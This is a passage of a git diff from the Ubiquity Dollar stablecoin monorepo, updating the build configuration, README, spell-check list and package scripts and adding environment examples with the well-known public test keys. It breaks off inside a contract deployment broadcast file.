+packageExtensions: + "@tanstack/query-persist-client-core@4.22.0": + dependencies: + "@tanstack/query-core": "4.22.0" + "hardhat-watcher@^2.1.1": + dependencies: + "hardhat": "^2.0.0" + "@uniswap/widgets@^2.16.2": + dependencies: + "@walletconnect/ethereum-provider": "1.7.8" + "@uniswap/redux-multicall@^1.1.1": + dependencies: + "@ethersproject/abi": "5" + "@ethersproject/bignumber": "5.7.0" + "@ethersproject/contracts": "5.7.0" + "styled-components@>=5": + dependencies: + "react-is": "16.8.0" + "abitype@^0.1.8": + dependencies: + "typescript": "^4.7.4" + "eth-block-tracker@4.4.3": + dependencies: + "@babel/core": "7.4.0" + +logFilters: + - pattern: "@ubiquity/dapp@workspace:packages/dapp provides react * with version * which doesn't satisfy what @uniswap/widgets and some of its descendants request" + level: "discard" + - code: "YN0013" + level: "discard" + - code: "YN0007" + level: "discard" diff --git a/README.md b/README.md index be3233098..23864f1a3 100644 --- a/README.md +++ b/README.md @@ -1,69 +1,192 @@ +[![Build & Test](https://github.com/ubiquity/ubiquity-dollar/actions/workflows/build-and-test.yml/badge.svg)](https://github.com/ubiquity/ubiquity-dollar/actions/workflows/build-and-test.yml) +[![Coverage Status](https://coveralls.io/repos/github/ubiquity/ubiquity-dollar/badge.svg?branch=development&service=github)](https://coveralls.io/github/ubiquity/ubiquity-dollar?branch=development) # Ubiquity Dollar - -Introducing the flagship product of [Ubiquity DAO](https://ubq.fi/). Ubiquity's Algorithmic Dollar (uAD) is an algorithmic stablecoin that maintains its peg by virtue of its monetary and fiscal policies. - -The deployed smart contracts can be found in the [docs](https://dao.ubq.fi/smart-contracts). +Introducing the flagship product of [Ubiquity DAO](https://ubq.fi/). The Ubiquity Dollar (uAD) is a collateralized stablecoin. +- The deployed smart contracts can be found in the [docs](https://dao.ubq.fi/smart-contracts). +- The source code for those are archived [here](https://github.com/ubiquity/uad-contracts). ![Ubiquity Dollar Logo](https://user-images.githubusercontent.com/4975670/153777249-527395c0-0c52-4731-8b0a-77b7885fafda.png) - +## Contributing +- We welcome everybody to participate in improving the codebase and provide feedback on opened issues. +- We offer financial incentives for solved issues. +- Learn how to contribute via the DevPool [here](https://dao.ubq.fi/devpool). ## Installation +### Requirements: +- NodeJS Version >=18 +- Yarn +- We use [Foundry](https://github.com/foundry-rs/foundry), check their [docs](https://book.getfoundry.sh/). Please follow their installation guide for your OS before proceeding. -Build the smart contracts first +### Development Setup -```bash -#!/usr/bin/env bash -# Ubiquity Dollar Installer +```sh +#!/bin/bash git clone https://github.com/ubiquity/ubiquity-dollar.git -yarn -yarn start +cd ubiquity-dollar +yarn # fetch dependencies +yarn build:all # builds the smart contracts and user interface + +# Optional +yarn build:dapp # to only build the UI useful for debugging +yarn build:contracts # to only build the Smart Contracts + +yarn start # starts the user interface and daemonize'd to continue to run tests in the background +yarn test:all # We run all the tests! ``` -→ [localhost:3000](https://localhost:3000/) +## Running workspace specific/individual commands +Using yarn workspaces, you can invoke scripts for each workspace individually. +```sh +# SCRIPT_NAME=XXX + +yarn workspace @ubiquity/contracts $SCRIPT_NAME +yarn workspace @ubiquity/dapp $SCRIPT_NAME + +# Some commands... + +yarn workspace @ubiquity/contracts build # Build smart contracts +yarn workspace @ubiquity/contracts test # Run the smart contract unit tests -## Committing Code +yarn workspace @ubiquity/dapp build # Build the user interface +yarn workspace @ubiquity/dapp start # Run the web application at http://localhost:3000 -1. We [automatically enforce](https://github.com/conventional-changelog/commitlint) the [conventional commits](https://www.conventionalcommits.org/en/v1.0.0/) format for commit messages. This can be frustrating for junior developers, but I promise that you'll quickly get used to it! +# check https://yarnpkg.com/features/workspaces for more yarn workspaces flexixble use cases + +``` +## Committing Code/Sending PRs + +1. We [automatically enforce](https://github.com/conventional-changelog/commitlint) the [conventional commits](https://www.conventionalcommits.org/en/v1.0.0/) format for commit messages. > The Conventional Commits specification is a lightweight convention on top of commit messages. It provides an easy set of rules for creating an explicit commit history; which makes it easier to write automated tools on top of. -2. We use [prettier](https://github.com/prettier/prettier) and [eslint](https://github.com/eslint/eslint) on [staged files](https://github.com/okonet/lint-staged) in order to enforce a uniform code style. Please do not circumvent these rules or else technical debt may generate quickly. +2. We use [prettier](https://github.com/prettier/prettier), [eslint](https://github.com/eslint/eslint) and [cspell](https://github.com/streetsidesoftware/cspell) on [staged files](https://github.com/okonet/lint-staged) in order to enforce a uniform code style. Please do not circumvent these rules. -## MetaMask Development Wallet Setup +3. We require all PRs to meet the issues expectation and/or to follow the discussions accordingly and implement all necessary changes and feedback by reviewers. -### Network Settings +4. We run [CI jobs](https://github.com/ubiquity/ubiquity-dollar/actions) all CI jobs must pass before commiting/merging a PR with no exceptions (usually a few exceptions while the PR it's getting reviewed and the maintainers highlight a job run that may skip) -Make sure you are using the following network configuration: +5. We run Solhint to enforce a pre-set selected number of rules for code quality/style on Smart Contracts + +### Network Settings +| Network | Chain ID | RPC Endpoint | Comment | +|---------|----------|-------------------------------|---------| +| `mainnet` | `1` | `https://rpc.ankr.com/eth` | Public Mainnet Gateway | +| `anvil` | `31337` | `http://127.0.0.1:8545` | Used for local development | +| `sepolia` | `11155111` | `https://ethereum-sepolia.publicnode.com` |Use any public available RPC for Sepolia testing | + +## Deploying Contracts (Ubiquity Dollar Core) + +You need to create a new `.env` file and set all necessary env variables, example: + +```sh +# Admin private key (grants access to restricted contracts methods). +# By default set to the private key from the 0x70997970c51812dc3a010c7d01b50e0d17dc79c8 address +# which is the 2nd address derived from test mnemonic "test test test test test test test test test test test junk". +ADMIN_PRIVATE_KEY="0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d" + +# Collateral token address (used in UbiquityPoolFacet, allows users to mint/redeem Dollars in exchange for collateral token). +# By default set to LUSD address in ethereum mainnet. +# - mainnet: 0x5f98805A4E8be255a32880FDeC7F6728C6568bA0 (LUSD) +# - testnet/anvil: deploys collateral ERC20 token from scratch +COLLATERAL_TOKEN_ADDRESS="0x5f98805A4E8be255a32880FDeC7F6728C6568bA0" + +# Collateral token price feed address from chainlink. +# By default set to LUSD/USD price feed deployed on ethereum mainnet. +# This price feed is used in 2 cases: +# 1) To calculate collateral price in USD +# 2) To calculate Dollar price in USD +# Since collateral token (LUSD) is the same one used in Curve's plain pool (LUSD-Dollar) +# we share the same price feed in: +# 1) `LibUbiquityPool.setCollateralChainLinkPriceFeed()` (to calculate collateral price in USD) +# 2) `LibUbiquityPool.setStableUsdChainLinkPriceFeed()` (to calculate Dollar price in USD) +# - mainnet: uses already deployed LUSD/USD chainlink price feed +# - testnet/anvil: deploys LUSD/USD chainlink price feed from scratch +COLLATERAL_TOKEN_CHAINLINK_PRICE_FEED_ADDRESS="0x3D7aE7E594f2f2091Ad8798313450130d0Aba3a0" + +# Curve's Governance/WETH pool address. +# Used to fetch Governance/ETH price from built-in oracle. +# By default set to already deployed (production ready) Governance/WETH pool address. +# - mainnet: uses already deployed Governance/ETH pool address +# - testnet/anvil: deploys Governance/WETH pool from scratch +CURVE_GOVERNANCE_WETH_POOL_ADDRESS="0xaCDc85AFCD8B83Eb171AFFCbe29FaD204F6ae45C" + +# Chainlink price feed address for ETH/USD pair. +# Used to calculate Governance token price in USD. +# By default set to ETH/USD price feed deployed on ethereum mainnet. +# - mainnet: uses already deployed ETH/USD chainlink price feed +# - testnet/anvil: deploys ETH/USD chainlink price feed from scratch +ETH_USD_CHAINLINK_PRICE_FEED_ADDRESS="0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419" + +# Dollar amount in wei minted initially to owner to provide liquidity to the Curve LUSD-Dollar plain pool +# By default set to 25k Dollar tokens +INITIAL_DOLLAR_MINT_AMOUNT_WEI="25000000000000000000000" + +# Owner private key (grants access to updating Diamond facets and setting TWAP oracle address). +# By default set to the private key from the 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266 address +# which is the 1st address derived from test mnemonic "test test test test test test test test test test test junk". +OWNER_PRIVATE_KEY="0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80" + +# RPC URL (used in contract migrations) +# - anvil: http://127.0.0.1:8545 +# - testnet: https://sepolia.gateway.tenderly.co +# - mainnet: https://mainnet.gateway.tenderly.co +RPC_URL="http://127.0.0.1:8545" +``` -- `31337` chain ID of the Hardhat network. -- `http://127.0.0.1:8545` RPC endpoint of the Hardhat network. +We provide an `.env.example` file pre-set with recommend testing environment variables but you are free to modify or experiment with different values on your local branch. -### Shared Private Keys +Then in two separate terminals run the following commands: -- All Hardhat developers know about these keys. These keys are derived from the `test test test test test test test test test test test junk` mnemonic in the Hardhat docs. -- Do not send assets of value to these wallets. +```sh +# starts the anvil forked mainnet/testnet network (depends on your .env config) +yarn workspace @ubiquity/contracts start:anvil +# Optional +yarn start:anvil # same as above but shorter ``` -0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 -0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d -0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a -0x7c852118294e51e653712a81e05800f419141751be58f605c371e15141b007a6 -0x47e179ec197488593b187f80a00eb0da91f1b9d0b13f8733639f19c30a34926a -0x8b3a350cf5c34c9194ca85829a2df0ec3153be0318b5e2d3348e872092edffba + +```sh +# deploys the contracts to the anvil testnet or your desired network + +yarn workspace @ubiquity/contracts deploy:development + +# Optional +yarn deploy:development # same as above ``` -### Ubiquity Dollar Contracts Setup +If successful it will output the accounts generated from the test mnemonic (`test test test test test test test test test test test junk`) and the port it's listening on. -This section is for the Ubiquity Dollar core protocol smart contracts (not the UbiquiStick NFT or UI related code.) +## Wiki -You need to create `.env` file inside the contracts folder with at least the `API_KEY_ALCHEMY` and the `MNEMONIC` filled. Indeed `MNEMONIC` will be used to deploy locally and the first account will be the admin on all the smart contracts. +We have a [Wiki!](https://github.com/ubiquity/ubiquity-dollar/wiki) feel free to browse it as there is a lot of useful information about the whole repo -Run the faucet to get tokens to your address. You will need the `UAD_MANAGER_ADDRESS` that you can find in the output of the `yarn start` +## Yarn Workspaces -```bash -YOUR_ETH_ADDRESS= # enter address here -UAD_MANAGER_ADDRESS= # enter address here -yarn hardhat --network localhost faucet --receiver $YOUR_ETH_ADDRESS --manager $UAD_MANAGER_ADDRESS -``` +The repo has been built as a [yarn workspace](https://yarnpkg.com/features/workspaces) monorepo. + +
+<root>
+├── packages
+│   ├── contracts: Smart contracts for Ubiquity Dollar and UbiquiStick
+│   ├── dapp: User interface
+
+ +## Codebase Diagram + +[Interactive Version](https://mango-dune-07a8b7110.1.azurestaticapps.net/?repo=ubiquity%2Fubiquity-dollar) + +### Smart Contracts + +![Visualization of the smart contracts codebase](./utils/diagram-contracts.svg) + +### User Interface + +![Visualization of the user interface codebase](./utils/diagram-ui.svg) + +--- + +### Audits + +2024 - [Sherlock](https://github.com/ubiquity/ubiquity-dollar/blob/development/packages/contracts/audits/ubiquity-audit-report-sherlock.pdf) Sine stabilitate nihil habemus. diff --git a/cspell.json b/cspell.json index 222396855..40f83956d 100644 --- a/cspell.json +++ b/cspell.json @@ -1,29 +1,169 @@ { "version": "0.2", - "language": "en", - "ignoreWords": [], "ignorePaths": [ "**/*.json", "**/*.log", "**/*.svg", "**/*.lock", - "**/node_modules/**" + "**/lib/*", + "**/interfaces/*", + "**/dist/*", + "**/cspell.json", + "**/node_modules/**", + "packages/contracts/src/deprecated/*", + "packages/contracts/migrations/development/Deploy001_Diamond_Dollar_Governance.s.sol", + "packages/contracts/migrations/mainnet/Deploy001_Diamond_Dollar_Governance.s.sol" ], + "readonly": true, + "useGitignore": true, + "enableFiletypes": ["solidity"], + "words": [ + "!UbiquityDollar", + "!UbiquityCredit", + "!UbiquityGovernance", + "!UbiquityStick", + "!UbiquityAlgorithmicDollar", + "!Algorithmic", + "!BondingShareV2", + "!BondingV2", + "!uAD", + "!UBQ", + "!uCR", + "!uAR", + "!uDEBT", + "!uBOND", + "!uGOV", + "prng", + "lowlevel", + "ABDK", + "accu", + "ADMGR", + "adoc", + "alloc", + "ALUSD", "Arrakis", + "Avenir", + "Bancor", + "Beeple", + "bignumber", + "buildhome", + "bytecode", + "Bytecode", + "calldata", + "calldatacopy", + "calldataload", + "calldatasize", + "chainid", "Chainlink", + "coef", + "collateralized", + "commitlint", + "concat", + "connectkit", + "Consts", + "Cpath", + "CRVLP", + "crytic", + "Csvg", + "delegatecall", + "devfund", "DOLA", - "FRAX", + "dryrun", + "Enjin", + "ethersproject", + "extcode", + "extcodecopy", + "extcodehash", + "extcodesize", + "Funcs", + "Gelato", "habemus", + "iefix", + "IERC", + "Immer", + "implementat", + "incentivized", + "inheritdoc", + "Inpage", + "ITWAP", + "IUAR", + "IUBQ", + "jsbi", + "JSBI", "keccak", "LUSD", + "masterchef", "metapool", + "metapools", + "Mintable", + "mintings", + "mixedcase", + "mload", + "multicall", + "mstore", + "newuri", + "nextjs", + "ntype", + "opentype", + "Pausable", + "prevrandao", + "proto", + "psender", + "Qmanager", + "Rarible", + "Reentrancy", + "retdata", + "returndata", + "returndatacopy", + "returndatasize", + "rpcutil", + "rustup", "Sablier", + "sepolia", + "setu", + "Shouldset", + "Sighash", + "SjymJ5maJ4", + "solhint", "stabilitate", "stablecoins", + "struct", + "structs", + "sushiswap", + "svgs", + "testenv", + "tippyjs", + "tlsv", + "truetype", + "turbotrace", "twap", "typechain", + "TYPEHASH", + "Twocrypto", + "Ubiqui", "UbiquiStick", - "UbiquiSticks" - ] + "Unassigns", + "uncollateralized", + "usedapp", + "Vitalik", + "wagmi", + "webp", + "zapaz", + "zozo", + "UbiquiBot", + "pranking", + "Rpc", + "rpcs", + "rpc", + "Automine", + "Txpool", + "nomicfoundation", + "blockhash", + "Merkle", + "UUPS", + "Initializable" + ], + "flagWords": ["creditNFT", "CreditNFT"], + "language": "en-US" } diff --git a/global.d.ts b/global.d.ts deleted file mode 100644 index 62b1cc3c2..000000000 --- a/global.d.ts +++ /dev/null @@ -1,11 +0,0 @@ -import { MetaMaskInpageProvider } from "@metamask/providers"; - -declare global { - interface Window { - ethereum?: MetaMaskInpageProvider; - } -} -declare module "*.svg" { - const value: React.StatelessComponent>; - export default value; -} diff --git a/package.json b/package.json index 944f0ade5..eadaeaa68 100644 --- a/package.json +++ b/package.json @@ -6,40 +6,72 @@ "license": "Apache-2.0", "workspaces": [ "packages/dapp", - "packages/contracts/*" + "packages/contracts" ], "devDependencies": { + "@commitlint/cli": "^17.3.0", + "@commitlint/config-conventional": "^17.3.0", + "@lavamoat/allow-scripts": "^2.3.0", + "@types/prettier": "^2", "@typescript-eslint/eslint-plugin": "^5.32.0", "@typescript-eslint/parser": "^5.32.0", + "cspell": "6.31.1", "eslint": "^8.23.0", "eslint-config-prettier": "^8.5.0", "eslint-plugin-prettier": "^4.2.1", "eslint-plugin-tsc": "^2.0.0", + "husky": "^8.0.2", "lint-staged": "^13.0.3", "nodemon": "^2.0.19", - "rimraf": "3.0.2" + "prettier": "2.8.8", + "prettier-plugin-solidity": "^1.2.0", + "rimraf": "3.0.2", + "typechain": "^8.3.2", + "yarn-audit-fix": "^9.3.7" }, "scripts": { "build:all": "yarn workspaces foreach run build", - "test:all": "yarn workspaces foreach run test", - "purge:all": "yarn workspaces foreach run purge && rimraf node_modules", - "prettier:all": "yarn workspaces foreach run prettier", + "build:dapp": "yarn workspace @ubiquity/dapp run build", + "dev:dapp": "yarn workspace @ubiquity/dapp run start", + "test:all": "yarn workspace @ubiquity/contracts run test:unit", + "coverage": "yarn workspace @ubiquity/contracts run test:coverage", + "format:all": "yarn workspaces foreach run format", + "clean:all": "yarn workspaces foreach run clean && rimraf node_modules", "lint:all": "yarn workspaces foreach run lint", - "build:ci:cloudflare": "yarn build:all", "build:ci:netlify": "yarn build:all", - "build:ci:fleek": "yarn build:all" + "postinstall": "husky install", + "lint:cspell:all:watch": "nodemon -e sol,ts,tsx --exec 'yarn lint:cspell:all --fail-fast'", + "lint:cspell:all": "cspell $(find . -type f \\( -name '*.sol' -o -name '*.tsx' -o -name '*.ts' \\) ! -path '*/node_modules/*' ! -path '*/lib/*' ! -path '*/types/*')" }, - "husky": { - "hooks": { - "commit-msg": "commitlint -E HUSKY_GIT_PARAMS", - "pre-commit": "lint-staged" - } + "engines": { + "node": ">=20.10.0" }, "lint-staged": { - "*.{js,jsx,ts,tsx,json,sol}": [ + "*.{js,jsx,ts,tsx,json}": [ "prettier --write", - "eslint --fix" + "eslint --fix --max-warnings=0", + "cspell --no-must-find-files" + ], + "*.sol": [ + "prettier --plugin=prettier-plugin-solidity --write", + "cspell --no-must-find-files" ] }, - "packageManager": "yarn@3.2.3" + "packageManager": "yarn@3.2.3", + "lavamoat": { + "allowScripts": { + "$root$": true, + "bufferutil": true, + "utf-8-validate": true, + "styled-components": false, + "keccak": true, + "dtrace-provider": true, + "bigint-buffer": true, + "secp256k1": true, + "classic-level": true, + "@ubiquity/monorepo": true, + "napi-macros/example": true, + "husky": true + } + } } diff --git a/packages/contracts/.env.example b/packages/contracts/.env.example new file mode 100644 index 000000000..d1623055f --- /dev/null +++ b/packages/contracts/.env.example @@ -0,0 +1,52 @@ +# Admin private key (grants access to restricted contracts methods). +# By default set to the private key from the 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 address +# which is the 2nd address derived from test mnemonic "test test test test test test test test test test test junk". +ADMIN_PRIVATE_KEY="0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d" + +# Collateral token address (used in UbiquityPoolFacet, allows users to mint/redeem Dollars in exchange for collateral token). +# By default set to LUSD address in ethereum mainnet. +# - mainnet: 0x5f98805A4E8be255a32880FDeC7F6728C6568bA0 (LUSD) +# - testnet/anvil: deploys collateral ERC20 token from scratch +COLLATERAL_TOKEN_ADDRESS="0x5f98805A4E8be255a32880FDeC7F6728C6568bA0" + +# Collateral token price feed address from chainlink. +# By default set to LUSD/USD price feed deployed on ethereum mainnet. +# This price feed is used in 2 cases: +# 1) To calculate collateral price in USD +# 2) To calculate Dollar price in USD +# Since collateral token (LUSD) is the same one used in Curve's plain pool (LUSD-Dollar) +# we share the same price feed in: +# 1) `LibUbiquityPool.setCollateralChainLinkPriceFeed()` (to calculate collateral price in USD) +# 2) `LibUbiquityPool.setStableUsdChainLinkPriceFeed()` (to calculate Dollar price in USD) +# - mainnet: uses already deployed LUSD/USD chainlink price feed +# - testnet/anvil: deploys LUSD/USD chainlink price feed from scratch +COLLATERAL_TOKEN_CHAINLINK_PRICE_FEED_ADDRESS="0x3D7aE7E594f2f2091Ad8798313450130d0Aba3a0" + +# Curve's Governance/WETH pool address. +# Used to fetch Governance/ETH price from built-in oracle. +# By default set to Governance/WETH pool address deployed on ethereum mainnet. +# - mainnet: uses already deployed (production ready) Governance/ETH pool address +# - testnet/anvil: deploys Governance/WETH pool from scratch +CURVE_GOVERNANCE_WETH_POOL_ADDRESS="0xaCDc85AFCD8B83Eb171AFFCbe29FaD204F6ae45C" + +# Chainlink price feed address for ETH/USD pair. +# Used to calculate Governance token price in USD. +# By default set to ETH/USD price feed deployed on ethereum mainnet. +# - mainnet: uses already deployed ETH/USD chainlink price feed +# - testnet/anvil: deploys ETH/USD chainlink price feed from scratch +ETH_USD_CHAINLINK_PRICE_FEED_ADDRESS="0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419" + +# Dollar amount in wei minted initially to owner to provide liquidity to the Curve LUSD-Dollar plain pool +# By default set to 25k Dollar tokens +INITIAL_DOLLAR_MINT_AMOUNT_WEI="25000000000000000000000" + +# Owner private key (grants access to updating Diamond facets and setting TWAP oracle address). +# By default set to the private key from the 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 address +# which is the 1st address derived from test mnemonic "test test test test test test test test test test test junk". +OWNER_PRIVATE_KEY="0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80" + +# RPC URL (used in contract migrations) +# - anvil: http://127.0.0.1:8545 +# - testnet: https://sepolia.gateway.tenderly.co +# - mainnet: https://mainnet.gateway.tenderly.co +RPC_URL="http://127.0.0.1:8545" diff --git a/packages/contracts/.npmrc b/packages/contracts/.npmrc new file mode 100644 index 000000000..97b895e2f --- /dev/null +++ b/packages/contracts/.npmrc @@ -0,0 +1 @@ +ignore-scripts=true diff --git a/packages/contracts/.solhint.json b/packages/contracts/.solhint.json new file mode 100644 index 000000000..a622b9c6d --- /dev/null +++ b/packages/contracts/.solhint.json @@ -0,0 +1,15 @@ +{ + "extends": "solhint:recommended", + "rules": { + "func-param-name-mixedcase": "error", + "func-visibility": ["warn", { "ignoreConstructors": true }], + "custom-errors": "off", + "no-inline-assembly": "off", + "reentrancy": "warn", + "foundry-test-functions": ["warn", ["setUp"]], + "event-name-camelcase": "warn", + "func-name-mixedcase": "warn", + "use-forbidden-name": "error", + "func-named-parameters": ["warn", 4] + } +} diff --git a/packages/contracts/dollar/LICENSE b/packages/contracts/LICENSE similarity index 100% rename from packages/contracts/dollar/LICENSE rename to packages/contracts/LICENSE diff --git a/packages/contracts/README.md b/packages/contracts/README.md new file mode 100644 index 000000000..153948961 --- /dev/null +++ b/packages/contracts/README.md @@ -0,0 +1,38 @@ +# Ubiquity Dollar Smart Contracts + +`@ubiquity/contracts` contains the various Solidity smart contracts used within the Ubiquity Algorithmic Dollar Protocol. + +## Install + +You need to have [Foundry](https://github.com/foundry-rs/foundry) installed locally first. Check [Foundry Book](https://book.getfoundry.sh/getting-started/installation) + +Then you'll be able to: + +```bash +yarn workspace @ubiquity/contracts run forge:install +``` + +## Build + +```bash +yarn workspace @ubiquity/contracts run build +``` + +## Test + +```bash +yarn workspace @ubiquity/contracts run test:unit +``` + +## Deploy + +Deploy script has been built on top of `forge create` and typescript to manage deployments locally. + +```sh +# Deploy Local Development + +yarn start:anvil + +yarn deploy:development + +``` diff --git a/packages/contracts/dollar/SECURITY.md b/packages/contracts/SECURITY.md similarity index 100% rename from packages/contracts/dollar/SECURITY.md rename to packages/contracts/SECURITY.md diff --git a/packages/contracts/audits/ubiquity-audit-report-sherlock.pdf b/packages/contracts/audits/ubiquity-audit-report-sherlock.pdf new file mode 100644 index 000000000..5dfb9feda Binary files /dev/null and b/packages/contracts/audits/ubiquity-audit-report-sherlock.pdf differ diff --git a/packages/contracts/broadcast/Deploy001_Diamond_Dollar_Governance.s.sol/1/run-1715578665.json b/packages/contracts/broadcast/Deploy001_Diamond_Dollar_Governance.s.sol/1/run-1715578665.json new file mode 100644 index 000000000..aa35ab295 --- /dev/null +++ b/packages/contracts/broadcast/Deploy001_Diamond_Dollar_Governance.s.sol/1/run-1715578665.json @@ -0,0 +1,1448 @@ +{ + "transactions": [ + { + "hash": "0x29d4c9a8b3b5b9480032ac1ee2374be917a6f5fd22a3f5db882d819be6b9b3bb", + "transactionType": "CREATE", + "contractName": "AccessControlFacet", + "contractAddress": "0xe17a61e55ccbc3d1e56b6a26ea1d4f8382a40ad9", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "gas": "0x100066", + "value": "0x0", + "input": "0x608060405234801561001057600080fd5b50610db9806100206000396000f3fe608060405234801561001057600080fd5b50600436106100a35760003560e01c80635c975abb116100765780638bb9c5bf1161005b5780638bb9c5bf1461011e57806391d1485414610131578063d547741f1461014457600080fd5b80635c975abb146100fe5780638456cb591461011657600080fd5b80631e4e0091146100a8578063248a9ca3146100bd5780632f2ff15d146100e35780633f4ba83a146100f6575b600080fd5b6100bb6100b6366004610b10565b610157565b005b6100d06100cb366004610b32565b6101db565b6040519081526020015b60405180910390f35b6100bb6100f1366004610b4b565b6101ec565b6100bb61020d565b6101066102f4565b60405190151581526020016100da565b6100bb610307565b6100bb61012c366004610b32565b6103ed565b61010661013f366004610b4b565b6103f9565b6100bb610152366004610b4b565b61040c565b610162600033610428565b6101cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e0000000060448201526064015b60405180910390fd5b6101d7828261044b565b5050565b60006101e68261046b565b92915050565b6101f58261046b565b6101fe81610489565b6102088383610493565b505050565b60165460ff16610279576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f5061757361626c653a206e6f742070617573656400000000000000000000000060448201526064016101c4565b610284600033610428565b6102ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e0000000060448201526064016101c4565b6102f26104fe565b565b600061030260165460ff1690565b905090565b60165460ff1615610374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5061757361626c653a207061757365640000000000000000000000000000000060448201526064016101c4565b61037f600033610428565b6103e5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e0000000060448201526064016101c4565b6102f261055c565b6103f6816105b7565b50565b60006104058383610428565b9392505050565b6104158261046b565b61041e81610489565b61020883836105bd565b600061040582610436610628565b6000868152602091909152604090209061067e565b80610454610628565b600093845260205260409092206002019190915550565b6000610475610628565b600092835260205250604090206002015490565b6103f681336106ad565b6104b48161049f610628565b60008581526020919091526040902090610754565b50604051339073ffffffffffffffffffffffffffffffffffffffff83169084907f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d90600090a45050565b601680547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690556040513381527f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa906020015b60405180910390a1565b601680547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790556040513381527f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25890602001610552565b6103f681335b6105de816105c9610628565b60008581526020919091526040902090610776565b50604051339073ffffffffffffffffffffffffffffffffffffffff83169084907ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b90600090a45050565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0061067760017f7a9158dd65ad6382295fd9a8aad0a64b5d99867a77a0a1b2bc38a4f50be8bd77610bc3565b1692915050565b73ffffffffffffffffffffffffffffffffffffffff811660009081526001830160205260408120541515610405565b6106b78282610428565b6101d7576106da8173ffffffffffffffffffffffffffffffffffffffff16610798565b6106e58360206107b7565b6040516020016106f6929190610bfa565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0818403018152908290527f08c379a00000000000000000000000000000000000000000000000000000000082526101c491600401610c7b565b60006104058373ffffffffffffffffffffffffffffffffffffffff84166109ce565b60006104058373ffffffffffffffffffffffffffffffffffffffff8416610a1d565b60606101e673ffffffffffffffffffffffffffffffffffffffff831660145b606060006107c6836002610ccc565b6107d1906002610ce3565b67ffffffffffffffff8111156107e9576107e9610cf6565b6040519080825280601f01601f191660200182016040528015610813576020820181803683370190505b5090507f30000000000000000000000000000000000000000000000000000000000000008160008151811061084a5761084a610d25565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f7800000000000000000000000000000000000000000000000000000000000000816001815181106108ad576108ad610d25565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600160028402015b6001811115610995577f303132333435363738396162636465660000000000000000000000000000000085600f166010811061092257610922610d25565b1a60f81b82828151811061093857610938610d25565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060049490941c937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff016108e4565b508315610405576040517fc913478500000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6000818152600183016020526040812054610a15575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556101e6565b5060006101e6565b60008181526001830160205260408120548015610b06576000610a41600183610bc3565b8554909150600090610a5590600190610bc3565b9050818114610aba576000866000018281548110610a7557610a75610d25565b9060005260206000200154905080876000018481548110610a9857610a98610d25565b6000918252602080832090910192909255918252600188019052604090208390555b8554869080610acb57610acb610d54565b6001900381819060005260206000200160009055905585600101600086815260200190815260200160002060009055600193505050506101e6565b60009150506101e6565b60008060408385031215610b2357600080fd5b50508035926020909101359150565b600060208284031215610b4457600080fd5b5035919050565b60008060408385031215610b5e57600080fd5b82359150602083013573ffffffffffffffffffffffffffffffffffffffff81168114610b8957600080fd5b809150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b818103818111156101e6576101e6610b94565b60005b83811015610bf1578181015183820152602001610bd9565b50506000910152565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000815260008351610c32816017850160208801610bd6565b7f206973206d697373696e6720726f6c65200000000000000000000000000000006017918401918201528351610c6f816028840160208801610bd6565b01602801949350505050565b6020815260008251806020840152610c9a816040850160208701610bd6565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b80820281158282048414176101e6576101e6610b94565b808201808211156101e6576101e6610b94565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fdfea26469706673582212205bde9c390867f57489d1468716558e95e312be2323121c8a6a186414406ffd7464736f6c63430008130033", + "nonce": "0x44d", + "chainId": "0x1" + }, + "additionalContracts": [], + 